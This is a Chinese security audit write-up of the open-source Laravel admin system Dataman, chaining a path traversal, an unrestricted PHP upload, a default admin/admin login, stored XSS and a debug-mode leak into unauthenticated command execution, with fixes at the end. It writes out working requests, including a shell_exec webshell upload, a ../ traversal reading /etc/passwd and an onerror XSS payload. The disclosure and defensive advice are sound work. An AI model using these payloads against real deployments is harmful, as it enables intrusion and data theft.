Dataman 是一个开源的数据管理系统,README 里写得很克制:轻量、现代设计风格、移动端。功能清单列了二十来项,从配置管理到广告位,看得出是认真做的项目。技术栈是 Laravel 8 加 Dcat-Admin,代码量不大,一百五十个 PHP 文件、九千行左右。

我把它拉到本地跑起来审了一遍。结论不太好看:从打开登录页,到在服务器上执行系统命令,全程不需要任何已有的账号。

这篇文章记录审计过程。漏洞本身在报告里有逐条列出,这里更想讲的是怎么找到的、怎么判断的,以及中途两次差点把洞放过去的地方。

一、先摸清攻击面

拿到一个 Web 项目,第一步不是搜 eval,是先搞清楚它长什么样:用什么框架、路由怎么组织、哪些入口不需要登录。

Dataman 的框架信息在 composer.json 里:

1
2
3
4
5
6
"require": {
"dcat/laravel-admin": "2.*",
"laravel/framework": "^8.12",
"guzzlehttp/guzzle": "^7.0.1",
"laravel/tinker": "^2.5"
}

Laravel 8 加 Dcat-Admin 2.x。项目自己的路由分两块,routes/api.php 里是给移动端用的接口,routes/web.php 是后台。

真正值得盯的是 routes/api.php 里的这一段:

1
2
3
4
Route::prefix('v1')->group(function () {
Route::get('/layouts', [ChannelController::class, 'layout']);
Route::get('/region/china', [ChinaRegionController::class, 'show']);
});

这个路由组上没挂任何鉴权中间件。后台路由全都在 ['web', 'admin'] 中间件组里,而这两个接口是裸露的。

不过先别急着下结论。后台的路由虽然在中间件组里,但控制器构造函数里还能再挂,Dcat-Admin 和 Laravel 都习惯这么写,我见过不少项目是靠控制器里的 $this->middleware('auth') 兜底的。

二、汇点扫描很干净,但这不算好消息

第二步做汇点扫描,也就是直接搜危险函数,看用户输入有没有可能流进去。

1
2
3
4
5
grep -rnE '(DB::raw|whereRaw|selectRaw|orderByRaw|DB::statement)' app/
grep -rnE '\b(eval|assert|create_function)\s*\(|call_user_func' app/
grep -rnE '\bunserialize\s*\(|phar://' app/
grep -rnE '\b(exec|shell_exec|system|passthru|popen|proc_open)\s*\(' app/
grep -rnE '\b(file_put_contents|file_get_contents|fopen|unlink|rename|copy|mkdir)\s*\(' app/

结果很干净。原始 SQL 只有一处,是安装时导入 install.sql 用的。代码执行、反序列化、命令执行一个都没有。文件操作只有两处,一处在安装器里读 composer.json,一处在 MediaController 里读媒体文件。

这里有个判断要说清楚:汇点干净不等于没有漏洞。

Laravel 这类框架把危险操作包得很深。SQL 走 ORM 之后天然参数化,文件操作被 Storage 抽走,命令执行基本不会出现在业务代码里。真正的高频漏洞搬了家,跑到逻辑层面去了:谁能访问哪个接口、上传的文件是什么类型、模板有没有转义、配置项有没有关掉。

所以扫描只能排除掉一类情况,告诉你「不是那种一眼可见的洞」。接下来得换个方向找。

三、盯住用户输入流向文件系统的那一处

换个问法:用户能控制的数据,最后会到达哪里?

1
grep -rn 'request()->\|\$request->get(\|\$request->input(\|Input::' app/ | grep -v vendor/

把所有从请求里取值的地方列出来,逐个往后追,看它最终被送进什么函数。

追完的结论是:整份代码里,用户输入与文件系统之间只有一条通路,就是媒体管理模块 MediaController。列表、下载、上传、删除、移动、建目录,六个动作全部把请求参数直接交给了 MediaService。

攻击面收窄到这一个文件上了。Dataman 的六个漏洞,有四个出在这里。

四、任意文件读取:路径穿越的层级要数清楚

先看下载接口。

1
2
3
4
5
6
7
// app/Admin/Controllers/MediaController.php
public function download(Request $request)
{
$file = $request->get('file');
$manager = new MediaService($file);
return $manager->download();
}

请求参数 file 没有经过任何校验,直接传给了 MediaService:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// app/Services/MediaService.php
protected function getFullPath($path)
{
return $this->storage->getDriver()->getAdapter()->applyPathPrefix($path);
}

public function download()
{
$fullPath = $this->getFullPath($this->path);
if (File::isFile($fullPath)) {
return response()->download($fullPath);
}
return response('', 404);
}

applyPathPrefix() 做的事是「存储根目录」加「传入路径」的字符串拼接,它不对 ../ 做任何归一化。所以只要路径里有足够的 ..,就能一路跳出存储目录。

这里我踩了个坑,值得单独说。

Dataman 的上传盘配置是 public,根目录是 storage/app/public。我第一反应是数出五层,构造了五个 ..:

1
GET /media/download?file=../../../../../etc/passwd HTTP/1.1

返回 404,零字节。换成编码变体、双写绕过,全是 404。如果就此收手,这一条会被当成「没有漏洞」写进报告。

回过神重新数了一遍目录深度:

1
2
/var/www/html/storage/app/public
└─ var └─ www └─ html └─ storage └─ app └─ public

从文件系统根到 public 一共六个组件,要退到根目录需要六个 ..,我少给了一个,路径停在了 /var。

改成六个之后:

图三 路径穿越读取容器内的 /etc/passwd

响应 1232 字节,/etc/passwd 全文。同法可以读任意可读文件。

教训很直白:路径穿越的层级数错一级,表现是 404,和「没有漏洞」长得一模一样。 遇到这类接口,别信自己的心算,把目录结构写出来数。

五、上传接口:从任意文件上传到命令执行

再看上传。

1
2
3
4
5
6
7
8
// app/Services/MediaService.php
public function upload($files = [])
{
foreach ($files as $file) {
$this->storage->putFileAs($this->path, $file, $file->getClientOriginalName());
}
return true;
}

三行代码,两个问题。putFileAs() 的第三个参数是文件名,这里用的是客户端提交的原始文件名 getClientOriginalName(),服务端不重命名。而且整段逻辑里没有任何扩展名或 MIME 校验。

但「能上传任意扩展名」离「能执行」还差一步,这一步经常被跳过。得看三个条件能不能凑齐:

第一,文件落在哪。上传盘是 public,根目录 storage/app/public。

第二,这个目录能不能从 Web 访问。Dataman 的安装流程会执行 storage:link:

1
2
// app/Console/Commands/Install.php:56
$this->call('storage:link');

它把 public/storage 软链到 storage/app/public,于是上传目录挂在 Web 根下面了。

第三,Web 服务器会不会执行这个目录里的脚本。看 nginx 配置:

1
2
3
4
5
6
7
8
9
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass php-fpm:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}

location ~ \.php$ 是一条正则匹配,它对 public 目录下任何位置的 .php 文件都生效,不区分是不是软链进来的。三个条件凑齐了。

验证一下。用一个 PHP 文件,把 Content-Type 伪装成图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /media/upload HTTP/1.1
Host: 127.0.0.1:18080
X-CSRF-TOKEN: <会话 token>
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="files[]"; filename="poc_shell.php"
Content-Type: image/png

<?php echo "PWNED:"; echo shell_exec($_GET["c"]); ?>
------X
Content-Disposition: form-data; name="dir"

/
------X--

返回 302,上传成功。文件落在容器里:

1
-rw-r--r--  1 www-data www-data  52  /var/www/html/storage/app/public/poc_shell.php

然后直接访问它,不需要任何凭据:

1
GET /storage/poc_shell.php?c=id HTTP/1.1

图四 上传的 PHP 文件被服务器执行

输出是 PWNED:uid=82(www-data) gid=82(www-data),再追加 uname -a 能拿到内核版本。到这里命令执行已经成立。

图七 媒体管理列表里能看到刚上传的文件

顺带说明一下这个接口的鉴权状态。它是后台路由,需要管理员登录,单看这一条不构成未授权。但配合下一个问题,整条链就不需要任何已有账号了。

六、默认口令:安装器自己把密码告诉你了

Dataman 的安装命令在结束时打印这么一行:

1
2
3
4
// app/Console/Commands/Install.php:60-62
$this->call('db:seed', ['--class' => 'DatabaseSeeder']);
$this->info('安装完成!');
$this->warn('用户名密码都为:admin');

对应的账号硬编码在安装 SQL 里:

1
INSERT INTO `admin_users` VALUES (1, 'admin', '$2y$10$NnBZzPbapsOTVShsF2ROQ.wpPNxWJn9E5/UjVWeE3APdmzXUgqgpu', ...);

这个 bcrypt 哈希对应的明文就是 admin。

这里有个用词要较真。这类问题常被笼统地叫成「弱口令」,但不够准确。问题不在于口令强度低,admin 也不算弱到能被字典秒破的程度。真正的问题是它是安装器内置的、且没有人要求你改。只要部署方照着文档走完流程就上线,这个口令就会一直有效。准确的叫法是默认口令。

再看登录页,字段只有三个:

图一 登录表单没有验证码

账号、密码、记住我。没有验证码,config/admin.php 里也没有登录失败次数限制或锁定策略。也就是说这个默认口令可以无限次尝试,而且试对了不会有任何提示。

图二 用默认口令进入后台

到这里,前面那个需要管理员权限的上传接口就解锁了。整条攻击链闭合:

1
2
3
4
读 README 知道默认口令是 admin/admin
→ 登录后台,拿到会话
→ 往媒体库上传一个 PHP 文件
→ 访问 /storage/poc_shell.php 执行命令

四步,不需要任何已有账号,不需要猜密码。

七、存储型 XSS:一行原样输出

后台的媒体列表页有这么一行:

1
2
{{-- resources/views/media/index.blade.php:332 --}}
{!! $item['preview'] !!}

Blade 模板里 {{ }} 会转义,{!! !!} 不会。而 preview 这个字段是拼出来的,媒体服务在生成目录预览时,把目录名直接插进了 href 属性:

1
2
3
4
5
6
7
8
// app/Services/MediaService.php:163-184
$url = route('dcat.admin.media.index', ['path' => '__path__', 'view' => request('view')]);
$preview = "<a href=\"$url\"><span class=\"file-icon text-aqua\"><i class=\"fa fa-folder\"></i></span></a>";
$dirs = array_map(function ($dir) use ($preview) {
return [
'preview' => str_replace('__path__', $dir, $preview),
];
}, $dirs);

str_replace 的第三个 $dir 是原始目录名,没有经过 htmlspecialchars。而目录名是由新建目录接口的 name 参数决定的,同样没有字符过滤。

于是新建一个名字里带引号和标签的目录:

1
2
3
4
POST /media/folder HTTP/1.1
X-CSRF-TOKEN: <会话 token>

_token=<token>&dir=/&name=xss"><img src=x onerror="document.body.innerHTML='<h1 style=color:red>XSS 已执行'">

再刷新媒体列表页,注入的 onerror 就执行了。

图五 注入的脚本在管理员浏览器里执行

这个漏洞有个精确的验证方法。同一个 payload 在页面上会出现七八次,但绝大多数走的是 Blade 的 {{ }}:

1
value="xss&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;"

被转义成实体,不可执行。只有 {!! !!} 那一处是字面的:

1
<a href="http://127.0.0.1:18080/media?path=xss"><img src=x onerror=...

统计一下两类标签的数量,字面的一处、实体的六处。这个对比把漏洞点精确定位到了 media/index.blade.php 的第三百三十二行,不用通读整个模板。

搭环境的时候还碰到一个细节,一起记下来:payload 里不能出现 /。 目录名会被当路径处理,我最初用的 payload 里带了 </h1>,那个斜杠被当成路径分隔符,目录名在 < 处就被截断了,前端怎么调都不触发。改成不闭合的标签(浏览器会自动补全)才存得进去。

八、未授权接口泄漏 SQL 语句与调用栈

回到开头那两个没有鉴权的接口。

Laravel 的调试模式由 .env 里的 APP_DEBUG 控制,而 Dataman 的 .env.example 把它默认打开了:

1
2
3
4
5
# .env.example:11-14
# 是否开启 DEBUG 模式
# 开启后如果程序出错,将会抛出异常
# 关闭后如果程序出错,将只会给出 HTTP 错误码 500
APP_DEBUG=true

同时 APP_KEY 在示例文件里是空的(要跑 key:generate 才生成)。部署方照着流程走,很容易连着调试开关一起沿用下来。

单独一个调试开关还不算漏洞,得有个能触发异常的地方。这里是第二个问题:数据库 schema 与代码不同步。

app/Services/ChannelService.php:46 里这么查:

1
2
$data = Channel::where(['parent_id' => $channel_id, 'status' => 1])
->get()->toArray();

但 channel 表实际只有这些列:

1
id, parent_id, platform_id, name, title, image, order, created_at, updated_at

没有 status。查询必然抛 QueryException,而请求是未授权的,异常页在调试模式下被完整渲染出来:

1
GET /api/v1/layouts?app_id=demo_app_001&channel_name=home HTTP/1.1

图六 未授权请求返回的异常页

响应 500,618 KB。里面直接印着完整 SQL、框架版本、源码绝对路径和三十九帧调用栈:

1
2
3
4
Illuminate\Database\QueryException: SQLSTATE[42S22]: Column not found: 1054
Unknown column 'status' in 'where clause'
(SQL: select * from `channel` where (`parent_id` = 1 and `status` = 1))
in file /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php on line 712

这个组合挺典型:调试开关本身只是配置疏忽,但它需要一个异常才能变现,而异常往往来自另一个疏忽。 两个小问题叠起来,就是一个不需要凭据、能直接读出数据库结构的入口。单次响应 618 KB 也算一种放大型的拒绝服务。

九、还有两个设计问题

审计里还看到两处不算漏洞、但值得写下来的东西。

一处是平台信息的缓存永不过期。PlatformService 的构造函数用一个锁控制全量刷新:

1
2
3
4
5
6
7
8
9
10
11
public function __construct()
{
$lock_key = 'dmp:pf:app_id:lock';
if (!Cache::has($lock_key)) {
$items = Platform::where(['status' => 1])->get([...])->toArray();
foreach ($items as $item) {
Cache::put("dmp:pf:app_id:{$item['app_id']}", json_encode($item));
}
Cache::put($lock_key, true);
}
}

锁一旦写入就不再失效,代码里也没有任何在平台保存时清除它的地方。表现就是:后台新增一个平台,接口侧查不到,必须手动跑 php artisan cache:clear 才生效。反过来,删掉的平台在缓存有效期内还会继续对外服务。

另一处是操作审计日志默认关闭。项目带了 operation-log 扩展,中间件也写好了,但数据库里它的启用状态是 0,另有一份应用级的 LogOperation 中间件在全项目搜不到注册点。实测 admin_operation_log 表记录数为零,后台的所有操作都没有留痕。

这两条本身不构成漏洞,但会放大前面那些漏洞的后果。上传了 webshell 却没有审计记录,事后溯源就少了最直接的一条线索。

十、这次审计的几点归纳

把过程回过头看,有几个判断在下次能直接用上。

汇点扫描干净不等于没洞。框架把 SQL、文件、命令这些危险操作都封装了,扫描能排除掉一类问题,但真正的高频漏洞已经迁到逻辑层去了。扫完要换个方向,去看权限、文件类型、模板转义和配置项。

找攻击面的高效问法是「用户输入最后去了哪」。把所有从请求取值的地方列出来逐个往后追,通常能很快收窄到一两个文件。Dataman 一百五十个文件,最终六个漏洞里四个出在同一个控制器。

路径穿越的层级要数出来,不要心算。少一级的结果是 404,看起来和没有漏洞完全一样。

判定文件上传能不能导致命令执行,必须看三个条件:落在哪个目录、这个目录能不能从 Web 访问、Web 服务器会不会执行它。「不校验扩展名」只是第一步。

术语要较真。「默认口令」说的是安装器内置且没人要求改,「弱口令」说的是强度低,是两回事,定级和修复方向都不同。

十一、修复建议

按优先级排:

上传是首要的。加扩展名与 MIME 双重白名单,丢弃原始文件名改用随机名,并且把上传目录移出 Web 根目录。如果架构上改不了,至少在 nginx 里禁掉该目录的脚本解析:

1
2
3
location ^~ /storage/ {
location ~ \.php$ { deny all; }
}

默认口令其次。安装器不再写死账号,改成安装时强制设置,并加验证码与登录失败锁定。

文件读取给 file 参数做 realpath() 归一化,校验结果落在存储根目录之内,拒绝含 .. 的输入。更彻底的做法是改用文件 ID 索引寻址。

调试开关在生产环境必须关掉,.env.example 里的默认值也应该改成 false。同时补齐 channel 表缺失的列,让 schema 和代码对上。

XSS 那一处,把 preview 改成只含图标和链接 ID 的结构化数据,交给 Blade 正常转义。确需输出 HTML 时,对拼接进去的文件名和目录名统一做 e()。